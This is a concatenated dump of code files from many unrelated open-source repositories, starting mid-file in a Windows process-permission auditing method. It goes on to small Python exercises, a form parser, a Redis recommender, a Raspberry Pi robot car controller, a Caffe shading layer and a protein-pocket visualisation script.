self.get_thread_ids())))\n\n if self.get_ph():\n for dll in self.get_dlls():\n lines.append(wpc.utils.tab_line(\"info\", \"process_module\", self.get_pid(), dll.get_name() )) \n\n if self.get_sd():\n lines.append(wpc.utils.tab_line(\"gotsd\", self.get_type(), str(self.get_pid_and_name()), \"yes\"))\n lines.append(wpc.utils.tab_line(\"owner\", self.get_type(), str(self.get_pid_and_name()), str(self.get_sd().get_owner().get_fq_name()))) \n if self.get_sd().has_dacl():\n lines.append(wpc.utils.tab_line(\"hasdacl\", self.get_type(), str(self.get_pid_and_name()), \"yes\"))\n if dangerous_only:\n lines.extend(self.get_sd().dangerous_aces_as_tab(\"ace\", self.get_type(), str(self.get_pid_and_name())))\n else:\n lines.extend(self.get_sd().aces_as_tab(\"ace\", self.get_type(), str(self.get_pid_and_name())))\n else:\n lines.append(wpc.utils.tab_line(\"hasdacl\", self.get_type(), str(self.get_pid_and_name()), \"no\"))\n else:\n lines.append(wpc.utils.tab_line(\"gotsd\", self.get_type(), str(self.get_pid_and_name()), \"no\"))\n for td in self.get_threads():\n #thread_obj = thread(tid)\n #print \"Dumping thread object\"\n lines.append(td.as_tab())\n #print lines\n return \"\\n\".join(lines)", "source": "cys3c/viper-shell", "license": "PSF-2.0"} {"text": "num = int(input('Informe um n\u00famero: '))\nc = num - 1\nconta = num\nprint('Calculando %i!: ' % num, end='')\n\nwhile c >= 1:\n print('%i' % c, end='')\n print(' x ' if c > 1 else ' = ', end='')\n conta *= c\n c -= 1\nprint(conta, end=' ')\nprint('\\033[1;31mFim')\n", "source": "LucasBalbinoSS/Exercicios-Python-Mundo2", "license": "MIT"} {"text": "sum_ = 0\nfor n in range(1, 1000):\n if n % 3 == 0 or n % 5 == 0:\n print(n, end=\", \")\n sum_ += n\nprint(\"sum =\", sum_)", "source": "adadesions/python-founder-class", "license": "MIT"} {"text": "# process.py\n#\n# This module holds functions specifically for parsing config values and for\n# returning formatted data dictionaries.\n\nfrom datetime import date, time, datetime\n\n# - Prompts\n\nPROMPTS = {\n \"words\": \"[Text]\",\n \"choice\": \"[Multiple Choice]\",\n \"checkboxes\": \"[Checkboxes (comma-separated)]\",\n \"date\": \"[Date MM/DD/YYYY or 'today']\",\n \"time\": \"[Time HH:MM or 'now']\",\n \"extra\": \"[Extra Data]\",\n}\n\ndef prompt_entry(entry):\n \"\"\"\n Prompt for a value to the passed entry.\n \"\"\"\n assert entry.prompt\n while True:\n value = input(f\"{entry.title}: {PROMPTS[entry.type]} \").strip()\n if not value:\n if entry.required and not entry.value:\n print(f\"Value for entry '{entry.title}' is required\")\n continue\n print(f\"Using default value: {entry.value}\")\n value = entry.value\n try:\n return parse_value(value, entry.type)\n except Exception as e:\n if not entry.required and not value:\n # If provided value isn't empty, it could be a mistake. Only\n # skip when it is purposefully left empty.\n return \"\"\n print(type(e).__name__, *e.args)\n\n# - Parsers\n\n# Parsing functions (one str argument)\ndef parse_normal(value):\n return value\n\ndef parse_checkboxes(value):\n messages = list(map(str.strip, value.split(\",\")))\n if not all(messages):\n raise ValueError(f\"Empty choice in value: {value}\")\n return messages\n\ndef parse_date(value):\n if value in {\"current\", \"today\"}:\n value = date.today().strftime(\"%m/%d/%Y\")\n month, day, year = value.split(\"/\")\n if len(month) != 2 or len(day) != 2 or len(year) != 4:\n raise ValueError(\"Incorrect date format: MM/DD/YYYY\")\n date(int(year), int(month), int(day)) # Check if date is real\n return [month, day, year]\n\ndef parse_time(value):\n if value in {\"current\", \"now\"}:\n value = datetime.now().strftime(\"%H:%M\")\n hour, minute = value.split(\":\")\n if len(hour) != 2 or len(minute) != 2:\n raise ValueError(\"Incorrect time format: HH:MM\")\n time(int(hour), int(minute)) # Check if time is real\n return [hour, minute]\n\nPARSERS = {\n \"words\": parse_normal,\n \"choice\": parse_normal,\n \"checkboxes\": parse_checkboxes,\n \"date\": parse_date,\n \"time\": parse_time,\n \"extra\": parse_normal,\n}\ndef parse_value(value, type):\n \"\"\"\n Return a string / list[str] as the message.\n\n Parse the string using the type. The result should be passed to\n format_message.\n\n Parser functions can raise ValueError if the string doesn't match the\n format of the type.\n \"\"\"\n return PARSERS[type](value)\n\ndef parse_entries(entries, *, on_prompt=prompt_entry):\n \"\"\"\n Return a list of parsed messages.\n\n Parse the entries to create a list of messages. If the entry needs a\n prompt, on_prompt is called with the entry. It should return a message or\n raise an error. The result should be passed to `format_entries`.\n \"\"\"\n messages = []\n for entry in entries:\n if entry.prompt:\n messages.append(on_prompt(entry))\n elif entry.required and not entry.value:\n raise ValueError(f\"Value for entry '{entry.title}' is required\")\n else:\n messages.append(parse_value(entry.value, entry.type))\n return messages\n\n# - Formatters\n\n# Specialized functions (key, message -> dict[str, str])\ndef format_normal(key, message):\n return {f\"entry.{key}\": message}\n\ndef format_sentinel(key, message):\n return {f\"entry.{key}\": message, f\"entry.{key}_sentinel\": \"\"}\n\ndef format_date(key, message):\n keys = [f\"entry.{key}_month\", f\"entry.{key}_day\", f\"entry.{key}_year\"]\n return dict(zip(keys, message))\n\ndef format_time(key, message):\n keys = [f\"entry.{key}_hour\", f\"entry.{key}_minute\"]\n return dict(zip(keys, message))\n\ndef format_extra(key, message):\n return {key: message}\n\n# General formatting function (uses a `type` argument)\nFORMATS = {\n \"words\": format_normal,\n \"choice\": format_sentinel,\n \"checkboxes\": format_normal,\n \"date\": format_date,\n \"time\": format_time,\n \"extra\": format_extra,\n}\ndef format_message(key, type, message):\n \"\"\"\n Return a dictionary to be POSTed to the form.\n\n Format the key and message into a dict using the type. The result should be\n merged to the data dictionary.\n\n Formatter functions shouldn't raise exceptions if supplied the proper\n message from the parser functions. Don't give a string from parse_words to\n format_time.\n \"\"\"\n return FORMATS[type](key, message)\n\ndef format_entries(entries, messages):\n \"\"\"\n Return a dictionary to be POSTed to the form.\n\n Format and merge the entries to create a data dictionary containing entries\n and other data. The result should be POSTed to a URL as the data argument.\n \"\"\"\n data = {}\n for entry, message in zip(entries, messages):\n data |= format_message(entry.key, entry.type, message)\n return data\n", "source": "GeeTransit/Form", "license": "MIT"} {"text": "import redis \nfrom django.conf import settings \nfrom .models import Product \n'''\n#connecting to redis\n#\u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u0441 redis\nr = redis.StrictRedis(host=settings.REDIS_HOST, port=settings.REDIS_PORT, db=settings.REDIS_DB)\n\nclass Recommender(object):\n def get_product_key(self, id):\n #get id for this Product\n #\u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u0434\u043b\u044f \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\n return '\u0422\u043e\u0432\u0430\u0440\u044b :{}: \u043f\u0440\u0438\u043e\u0431\u0440\u0435\u0442\u0430\u044e\u0442\u0441\u044f \u0441\u043e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c\u0438 \u0442\u043e\u0432\u0430\u0440\u0430\u043c\u0438'.format(id)\n\n def product_bought(self, products):\n #recurs loop id products acros one is one product \n #\u043f\u0435\u0440\u0435\u0431\u0438\u0440\u0430\u0435\u043c \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\n #\u043f\u0435\u0440\u0435\u0431\u0438\u0440\u0430\u0435\u043c \u0434\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0438\u0434\u0435\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0430 \u043f\u0435\u0440\u0435\u0431\u0438\u0440\u0430\u0435\u043c \u0432\u0441\u0435 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u044b\n #\u0447\u0442\u043e\u0431\u044b \u043d\u0430\u0439\u0442\u0438 \u0432\u0437\u0430\u0438\u043c\u043e\u0441\u0432\u044f\u0437\u044c\n product_ids = [p.id for p in products]\n for product_id in product_ids:\n for with_id in product_ids:\n if product_id != with_id:\n #get key product redis\n #and +1 rasiting product\n #\u0443\u0432\u0435\u043b\u0438\u0447\u0438\u0432\u0430\u0435\u043c \u0440\u0435\u0439\u0442\u0438\u043d\u0433 \u043f\u0440\u043e\u0434\u043a\u0442\u0430 \u043e\u0441\u043d\u043e\u0432\u044b\u0432\u0430\u044f\u0441\u044c \u043d\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \n #\u043e \u0435\u0433\u043e \u043f\u043e\u043a\u0443\u043f\u043a\u0430\u0445\n r.zincrby(self.get_product_key(product_id), with_id, amount=1)\n\n #method getting products wich bay togever\n #\u0444\u0443\u043d\u043a\u0446\u0438\u044f \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432, \u043f\u043e\u043a\u0443\u043f\u0430\u0435\u043c\u044b\u0445 \u0432\u043c\u0435\u0441\u0442\u0435\n\n def suggest_products_for(self, products, max_results=6):\n #list product for recommendations \n #\u0441\u043f\u0438\u0441\u043e\u043a \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044c\u043e\u0432 \u0434\u043b\u044f \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439\n #max-results - max recomandations\n #\u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0435 \u0447\u0438\u0441\u043b\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439\n #\u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\n product_ids = [p.id for p in products]\n #\u0435\u0441\u043b\u0438 \u043e\u0434\u0438\u043d \u0442\u043e \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 \u043a\u0443\u043f\u043b\u0435\u043d\u043d\u044b\u0445 \u0441 \u043d\u0438\u043c\n if len(products) == 1:\n suggestions = r.zrange(\n self.get_product_key(product_ids[0]), 0, -1, desc=True)[:max_results]\n else:\n #if more one product create key redis\n #\u043a\u043e\u0433\u0434\u0430 \u0431\u043e\u043b\u0435\u0435 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430, \u043f\u043e\u0440\u0443\u0447\u0430\u0435\u043c \u0440\u0435\u0434\u0438\u0441 \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u043a\u043b\u044e\u0447\u044c\n flat_ids = ''.join([str(id) for id in product_ids])\n tmp_key = 'tmp_{}'.format(flat_ids)\n keys = [self.get_product_key(id) for id in product_ids]\n #unit sorted set keys \n #\u043e\u0431\u044c\u0435\u0434\u0438\u043d\u044f\u0435\u043c \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0435 \u0432\u0440\u0435\u043c\u0435\u043d\u044b\u0435 \u043a\u043b\u044e\u0447\u0438 \n r.zunionstore(tmp_key, keys)\n #emove products\n #\u0443\u0434\u0430\u0447\u044f\u0435\u043c \u0438\u0437 \u043d\u0430\u0431\u043e\u0440\u0430 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b, \u043e\u0441\u0442\u0430\u0432\u0438\u0432 \u0442\u043e\u043b\u044c\u043a\u043e \u0431\u0430\u043b\u043b\u044b\n r.zrem(tmp_key, *product_ids)\n #out from id \n #\u0438\u0437\u0432\u043b\u0435\u043a\u0430\u0435\u043c \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u0438\u0437 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043b\u044e\u0447\u0430 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u0435\u043c\u0441\u044f \n #\u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u043c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u043c \u0437\u0430\u0434\u0430\u043d\u043d\u044b\u043c \u0440\u0430\u043d\u0435\u0435\n suggestions = r.zrange(tmp_key, 0, -1, desc=True)[:max_results]\n #remove key\n #\u0443\u0434\u0430\u043b\u044f\u0435\u043c \u043a\u043b\u044e\u0447\n r.delete(tmp_key)\n #get products and sorted it \n #\u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b \u0438 \u0441\u043e\u0440\u0442\u0435\u0440\u0443\u0435\u043c \u0438\u0445\n suggested_products_ids = [int(id) for id in suggestions]\n suggested_products = list(Product.objects.filter(id__in=suggested_products_ids))\n suggested_products.sort(key=lambda x: suggested_products_ids.index(x.id))\n return suggested_products\n\n #clear recommendations\n #\u0447\u0438\u0441\u0442\u043a\u0430 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439\n def clear_purchses(self):\n for id in Product.objects.values_list('id', flat=True):\n r.delete(self.get_product_key(id))\n\n'''", "source": "EHGWRabbit/buskets", "license": "MIT"} {"text": "#! /usr/bin/env python\n# -*- coding: utf-8 -*-\nimport logging\nimport unittest\nimport archiveis\nlogging.basicConfig(level=logging.DEBUG)\n\n\nclass CaptureTest(unittest.TestCase):\n\n def test_capture(self):\n archive_url_1 = archiveis.capture(\"http://www.example.com/\")\n self.assertTrue(archive_url_1.startswith(\"http://archive.is/\"))\n\n\nif __name__ == '__main__':\n unittest.main()\n", "source": "Zwemvest/archiveis", "license": "MIT"} {"text": "# coding: utf-8\n#\n\nimport hashlib\n\n\ndef hashmd5(handler, s):\n return hashlib.md5(s).hexdigest()", "source": "codeskyblue/bootstrap-tornado", "license": "MIT"} {"text": "import asyncio\n\nfrom faithful_fleas.utils import sql_func as sql\n\n\nasync def setup_sql():\n \"\"\"A function that creates the location table in the database.\"\"\"\n\n sql_code = \"\"\"CREATE TABLE locations(\n discordID INTEGER,\n latitude REAL,\n longitude REAL\n )\"\"\"\n\n result = await sql.database_update(sql_code)\n print(result)\n\n\nloop = asyncio.get_event_loop()\nloop.run_until_complete(setup_sql())\n", "source": "RohanJnr/code-jam-5", "license": "MIT"} {"text": "\"\"\"\nGenerate PDF reports from data included in several Pandas DataFrames\nFrom pbpython.com\n\"\"\"\nfrom __future__ import print_function\nimport pandas as pd\nimport numpy as np\nimport argparse\nfrom jinja2 import Environment, FileSystemLoader\nfrom weasyprint import HTML\n\n\ndef create_pivot(df, infile, index_list=[\"Manager\", \"Rep\", \"Product\"], value_list=[\"Price\", \"Quantity\"]):\n \"\"\"\n Create a pivot table from a raw DataFrame and return it as a DataFrame\n \"\"\"\n table = pd.pivot_table(df, index=index_list, values=value_list,\n aggfunc=[np.sum, np.mean], fill_value=0)\n return table\n\ndef get_summary_stats(df,product):\n \"\"\"\n For certain products we want National Summary level information on the reports\n Return a list of the average quantity and price\n \"\"\"\n results = []\n results.append(df[df[\"Product\"]==product][\"Quantity\"].mean())\n results.append(df[df[\"Product\"]==product][\"Price\"].mean())\n return results\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description='Generate PDF report')\n parser.add_argument('infile', type=argparse.FileType('r'),\n help=\"report source file in Excel\")\n parser.add_argument('outfile', type=argparse.FileType('w'),\n help=\"output file in PDF\")\n args = parser.parse_args()\n # Read in the file and get our pivot table summary\n df = pd.read_excel(args.infile.name)\n sales_report = create_pivot(df, args.infile.name)\n # Get some national summary to include as well\n manager_df = []\n for manager in sales_report.index.get_level_values(0).unique():\n manager_df.append([manager, sales_report.xs(manager, level=0).to_html()])\n # Do our templating now\n # We can specify any directory for the loader but for this example, use current directory\n env = Environment(loader=FileSystemLoader('.'))\n template = env.get_template(\"myreport.html\")\n template_vars = {\"title\" : \"National Sales Funnel Report\",\n \"CPU\" : get_summary_stats(df, \"CPU\"),\n \"Software\": get_summary_stats(df, \"Software\"),\n \"national_pivot_table\": sales_report.to_html(),\n \"Manager_Detail\": manager_df}\n # Render our file and create the PDF using our css style file\n html_out = template.render(template_vars)\n HTML(string=html_out).write_pdf(args.outfile.name,stylesheets=[\"style.css\"])\n", "source": "mikhailklassen/report_generator", "license": "MIT"} {"text": "from collections import Callable\n\nfrom . import Logger\n\nlogger = Logger(__name__)\n\n\ndef assert_correct_import(import_func: Callable) -> Callable:\n def wrapper(*args, **kwargs) -> None:\n exceptions_happend = False\n try:\n import_func(*args, **kwargs)\n except ImportError as err:\n logger.debug(err)\n exceptions_happend = True\n assert not exceptions_happend\n return wrapper\n", "source": "hell03end/pyYandexLinguistics", "license": "MIT"} {"text": "import RPi.GPIO as GPIO\nfrom time import sleep\nimport time\nimport pigpio\nimport srte\n \nGPIO.setmode(GPIO.BCM)\n\nMotorE = 26\n\n\nMotor1 = [20,21]\n\nMotor2 = [13,19]\n\nMotor3 = [5,6]\n\nMotor4 = [12,16]\n\n\nGPIO.cleanup(MotorE)\n\n\nGPIO.cleanup(Motor1[0])\nGPIO.cleanup(Motor1[1])\nGPIO.cleanup(Motor2[0])\nGPIO.cleanup(Motor2[1])\nGPIO.cleanup(Motor3[0])\nGPIO.cleanup(Motor3[1])\nGPIO.cleanup(Motor4[0])\nGPIO.cleanup(Motor4[1])\n\n\nGPIO.setup(MotorE,GPIO.OUT)\n\nGPIO.setup(Motor1[0],GPIO.OUT)\nGPIO.setup(Motor1[1],GPIO.OUT)\nGPIO.setup(Motor2[0],GPIO.OUT)\nGPIO.setup(Motor2[1],GPIO.OUT)\nGPIO.setup(Motor3[0],GPIO.OUT)\nGPIO.setup(Motor3[1],GPIO.OUT)\nGPIO.setup(Motor4[0],GPIO.OUT)\nGPIO.setup(Motor4[1],GPIO.OUT)\n\npi = pigpio.pi()\n\nif not pi.connected:\n exit()\n\nS=[]\nS.append(srte.sonar(pi, 23, 22))\nS.append(srte.sonar(pi, 17, 27))\nr = 1\n\nCHANGE_DISTANCE = 35\t\t# 10 cm of any ostacles\nCRITICAL_DISTANCE = 15\t\t# 5 cm if too close, so move around or something\n# any distance far than CHANGE - just move\n\n# \\L| |R/\n# M1------M2\n# | |\n# | |\n# M4------M3\n\n# M1 M2 M3 M4\nMotors_status=['S', 'S', 'S' ,'S']\t\t#[S]top- [F]orward /\\ [B]ackward \\/\n# L R\nSensors_values=[0,0]\nSensors_status=['unknown','unknown']\n\ndef show_status():\n print (\"M1 {}, M2 {}, M3 {}, M4 {}\".format(Motors_status[0],Motors_status[1],Motors_status[2],Motors_status[3]));\n print (\"L '{}' {}, R '{}' {}\".format(Sensors_status[0],Sensors_values[0],Sensors_status[1],Sensors_values[1]));\n\ndef choose_way():\n print \"choose the way\"\n if (Sensors_status[0]=='move' and Sensors_status[1]=='move'):\n Motors_status[0]=\"F\";\n Motors_status[1]=\"F\";\n Motors_status[2]=\"F\";\n Motors_status[3]=\"F\";\n elif (Sensors_status[0]=='obstacle' and Sensors_status[1]=='move'):\n Motors_status[0]=\"F\";\n Motors_status[1]=\"B\";\n Motors_status[2]=\"B\";\n Motors_status[3]=\"F\";\n elif (Sensors_status[0]=='move' and Sensors_status[1]=='obstacle'):\n Motors_status[0]=\"B\";\n Motors_status[1]=\"F\";\n Motors_status[2]=\"F\";\n Motors_status[3]=\"B\";\n elif (Sensors_status[0]=='critical' and Sensors_status[1]!='critical'):\n Motors_status[0]=\"F\";\n Motors_status[1]=\"B\";\n Motors_status[2]=\"B\";\n Motors_status[3]=\"F\";\n elif (Sensors_status[0]!='critical' and Sensors_status[1]=='critical'):\n Motors_status[0]=\"B\";\n Motors_status[1]=\"F\";\n Motors_status[2]=\"F\";\n Motors_status[3]=\"B\";\n else:\n do_back();\n do_rotate();\n\ndef do_back():\n Motors_status[0]=\"B\";\n Motors_status[1]=\"B\";\n Motors_status[2]=\"B\";\n Motors_status[3]=\"B\";\n do_motors(1);\t# move with delay TODO choose delay time for rotate\n \n\ndef do_rotate():\n Motors_status[0]=\"B\";\n Motors_status[1]=\"F\";\n Motors_status[2]=\"F\";\n Motors_status[3]=\"B\";\n do_motors(0.1);\t# move with delay TODO choose delay time for rotate\n\ndef do_motor(status,motor):\n if (status=='B'):\n #GPIO.output(motor[0],GPIO.LOW)\n GPIO.output(motor[0],GPIO.HIGH)\n GPIO.output(motor[1],GPIO.LOW)\n elif (status=='F'):\n GPIO.output(motor[0],GPIO.LOW)\n GPIO.output(motor[1],GPIO.HIGH)\n else:\n GPIO.output(motor[0],GPIO.HIGH)\n GPIO.output(motor[1],GPIO.HIGH)\n\ndef do_motors(d):\n #print \"Do motors\"\n\n m_id=0\n for way in Motors_status:\n if m_id==0:\n do_motor(way,Motor1)\n elif m_id==1:\n do_motor(way,Motor2)\n elif m_id==2:\n do_motor(way,Motor3)\n elif m_id==3:\n do_motor(way,Motor4)\n else:\n print \"Unknown motor\"\n m_id+=1;\n\n GPIO.output(MotorE,GPIO.HIGH)\n if (Sensors_status[0]!='move' or Sensors_status[1]!='move'):\n time.sleep(0.1)\n GPIO.output(MotorE,GPIO.LOW)\n print \"!!! ROTATE !!!!\";\n #time.sleep(0.3)\n GPIO.output(MotorE,GPIO.LOW)\n #time.sleep(3)\n GPIO.output(MotorE,GPIO.LOW)\n\n if d>0:\n time.sleep(d)\n\ntry:\n while True:\n GPIO.output(MotorE,GPIO.LOW)\n for s in S:\n s.trigger()\n\n time.sleep(0.03)\n r=0\n for s in S:\n #print(\"{} {:.1f}\".format(r, s.read()))\n d=s.read()\n Sensors_values[r]=d;\n if d>CHANGE_DISTANCE:\n Sensors_status[r]='move';\n elif d>CRITICAL_DISTANCE:\n Sensors_status[r]='obstacle';\n else:\n Sensors_status[r]='critical';\n r+=1;\n time.sleep(0.06)\t# sleep 60ms NOT TESTED\n choose_way()\n show_status()\n do_motors(0.1)\n\nexcept KeyboardInterrupt:\n pass\n\nprint(\"\\ntidying up\")\n\nfor s in S:\n s.cancel()\n\npi.stop()\n\n\nGPIO.output(MotorE,GPIO.LOW)\n \nGPIO.cleanup()\n", "source": "SovGVD/rpi-car-obstacle-avoidance", "license": "MIT"} {"text": "import caffe\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.image as mpimg\n\nclass ShadingLayer(caffe.Layer):\n\n def setup(self, bottom, top):\n # check input pair\n if len(bottom) != 2:\n raise Exception(\"Need two input.\")\n\n def reshape(self, bottom, top):\n\ttop[0].reshape(*bottom[0].data.shape)\n\n\n def forward(self, bottom, top):\n\tsz=bottom[0].data.shape\n\n\tatt = np.pi*np.array([1, 2.0/3, 0.25])\n\n\tc1=att[0]*(1.0/np.sqrt(4*np.pi))\n c2=att[1]*(np.sqrt(3.0/(4*np.pi)))\n\tc3=att[2]*0.5*(np.sqrt(5.0/(4*np.pi)))\n \tc4=att[2]*(3.0*(np.sqrt(5.0/(12*np.pi))))\n\tc5=att[2]*(3.0*(np.sqrt(5.0/(48*np.pi))))\n\n\tfor i in range(0,sz[0]) :\n\t\tnx=bottom[0].data[i,0,...]\n\t\tny=bottom[0].data[i,1,...]\t\t\n\t\tnz=bottom[0].data[i,2,...]\t\n\n\n\t\tH1=c1*np.ones((sz[2],sz[3]))\n\t\tH2=c2*nz\n\t\tH3=c2*nx\n\t\tH4=c2*ny\n\t\tH5=c3*(2*nz*nz - nx*nx -ny*ny)\n\t\tH6=c4*nx*nz\n\t\tH7=c4*ny*nz\n\t\tH8=c5*(nx*nx - ny*ny)\n\t\tH9=c4*nx*ny\t\n\n\n\t\tfor j in range(0,3) :\n\t\t\tL=bottom[1].data[i,j*9:(j+1)*9]\n\t\t\ttop[0].data[i,j,:,:]=L[0]*H1+L[1]*H2+L[2]*H3+L[3]*H4+L[4]*H5+L[5]*H6+L[6]*H7+L[7]*H8+L[8]*H9\n\n\n\n def backward(self, top, propagate_down, bottom):\n\n\tsz=bottom[0].data.shape\n\tsz1=bottom[1].data.shape\n\tatt = np.pi*np.array([1, 2.0/3, 0.25])\n\tc1=att[0]*(1.0/np.sqrt(4*np.pi))\n c2=att[1]*(np.sqrt(3.0/(4*np.pi)))\n\tc3=att[2]*0.5*(np.sqrt(5.0/(4*np.pi))) \n\tc4=att[2]*(3.0*(np.sqrt(5.0/(12*np.pi)))) \n\tc5=att[2]*(3.0*(np.sqrt(5.0/(48*np.pi))))\n\t#for normals\n\t\n\t\n\tfor i in range(0,sz[0]) :\n\t\tnx=bottom[0].data[i,0,...]\n\t\tny=bottom[0].data[i,1,...]\t\t\n\t\tnz=bottom[0].data[i,2,...]\n\t\tdSx=np.zeros((sz[2],sz[3]))\n \t\tdSy=np.zeros((sz[2],sz[3]))\n\t\tdSz=np.zeros((sz[2],sz[3]))\n\n\t\tH1=c1*np.ones((sz[2],sz[3]))\n\t\tH2=c2*nz\n\t\tH3=c2*nx\n\t\tH4=c2*ny\n\t\tH5=c3*(2*nz*nz - nx*nx -ny*ny)\n\t\tH6=c4*nx*nz\n\t\tH7=c4*ny*nz\n\t\tH8=c5*(nx*nx - ny*ny)\n\t\tH9=c4*nx*ny\n\t\tdL=np.zeros(sz1[1])\n\n\t\tfor j in range(0,3) :\n\t\t\t\tL=bottom[1].data[i,j*9:(j+1)*9]\n\t\t\t\tSx=c2*L[2]+(2*c5*L[7]-2*c3*L[4])*nx+c4*L[5]*nz+c4*L[8]*ny\n\t\t\t\tSy=c2*L[3] -(2*c3*L[4]+2*c5*L[7])*ny + c4*L[6]*nz + c4*L[8]*nx\n\t\t\t\tSz=c2*L[1]+4*c3*L[4]*nz+c4*L[5]*nx+c4*L[6]*ny\n\n\t\t\t\tdSx=dSx + top[0].diff[i,j,:,:]*Sx\n\t\t\t\tdSy=dSy + top[0].diff[i,j,:,:]*Sy\n\t\t\t\tdSz=dSz + top[0].diff[i,j,:,:]*Sz\n\n\t\t\t\tfor kk in range(0,9) :\n\t\t\t\t dL[j*9+kk]=np.sum(top[0].diff[i,j,:,:]*(locals()['H{0}'.format(kk+1)])); \n\n\t\tbottom[0].diff[i,0,:,:]=dSx\n\t\tbottom[0].diff[i,1,:,:]=dSy\n\t\tbottom[0].diff[i,2,:,:]=dSz\n\t\tbottom[1].diff[i,:]=np.reshape(dL,(1,sz1[1]))\n\n\t\n", "source": "dingyanna/SfSNet", "license": "Unlicense"} {"text": "\"\"\"\nCopy the scores of atoms and paste into the last column of a .pdb file of a pocket.\nNote that order of atoms are different in the csv file containing scores.\n\"\"\"\nimport os\nimport argparse\nimport csv\nimport pickle\nfrom pickle import load, dump\nimport pandas as pd\nfrom biopandas.pdb import PandasPdb\nfrom shutil import copyfile\nfrom os import listdir\n\ndef pocket_visual_single(pdb_dir, source_pdb, scores_dir, scores_source, out_dir):\n \"\"\"\n take the source pdb file and its corresponding score, then add the scores \n to the last column of the pdb file, save it to out_dir.\n \"\"\"\n ppdb = PandasPdb()\n if not os.path.exists(out_dir):\n os.makedirs(out_dir) \n pdb_file = pdb_dir + source_pdb\n scores_file = scores_dir + scores_source\n out_file = out_dir + source_pdb\n\n # copy file to out_dir\n copyfile(pdb_file, out_file)\n\n # read the scores as a list\n df = pd.read_csv(scores_file)\n scores = df['total']\n row_nums = df.iloc[:,0]\n #print(scores)\n #print(row_nums) # row numbers in original pdb file\n\n # modify the copied pdb file\n pocket = ppdb.read_pdb(out_file)\n i = 0\n for row_num in row_nums:\n ppdb.df['ATOM']['b_factor'][row_num] = scores[i]\n #print(ppdb.df['ATOM']['b_factor'][row_num])\n i = i + 1\n #print(ppdb.df['ATOM']['b_factor'])\n ppdb.to_pdb(path = out_file)\n\ndef pocket_visual_folder(pdb_dir, scores_dir, out_dir, pocket_list):\n \"\"\"\n Apply pocket_visual_folder() function to entire folders of pdb files, and\n entire folders of corresponding final scores\n \"\"\"\n for f in pocket_list:\n f_pdb = f + '.pdb'\n f_score = f + '-1' + '.csv'\n #print(f_pdb)\n pocket_visual_single(pdb_dir, f_pdb, scores_dir, f_score, out_dir)\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser('python')\n parser.add_argument('-op', \n required = False,\n default = 'control_vs_heme',\n choices = ['control_vs_heme', 'control_vs_nucleotide'],\n help='operation modes')\n parser.add_argument('-correct_predict_dir', \n required = False,\n default = '../../bionoi_transfer_learning/log/',\n help='final scores directory for heme') \n parser.add_argument('-final_scores_dir_heme', \n required = False,\n default = '../../analyse/final_scores/control_vs_heme/test/heme/',\n help='final scores directory for heme')\n parser.add_argument('-final_scores_dir_nucleotide', \n required = False,\n default = '../../analyse/final_scores/control_vs_nucleotide/test/nucleotide/',\n help='final scores directory for nucleotide')\n parser.add_argument('-pdb_dir_heme', \n required = False,\n default = '../../analyse/pocket-lpc-heme/',\n help='heme pdb directory')\n parser.add_argument('-pdb_dir_nucleotide', \n required = False,\n default = '../../analyse/pocket-lpc-nucleotide/',\n help='nucleotide pdb directory') \n parser.add_argument('-out_dir_heme', \n required = False,\n default = '../../analyse/pdb_visual_heme/',\n help='pdb output directory for heme')\n parser.add_argument('-out_dir_nucleotide', \n required = False,\n default = '../../analyse/pdb_visual_nucleotide/',\n help='pdb output directory for nucleotide')\n args = parser.parse_args()\n op = args.op\n correct_predict_dir = args.correct_predict_dir\n final_scores_dir_heme = args.final_scores_dir_heme\n final_scores_dir_nucleotide = args.final_scores_dir_nucleotide\n pdb_dir_heme = args.pdb_dir_heme\n pdb_dir_nucleotide = args.pdb_dir_nucleotide\n 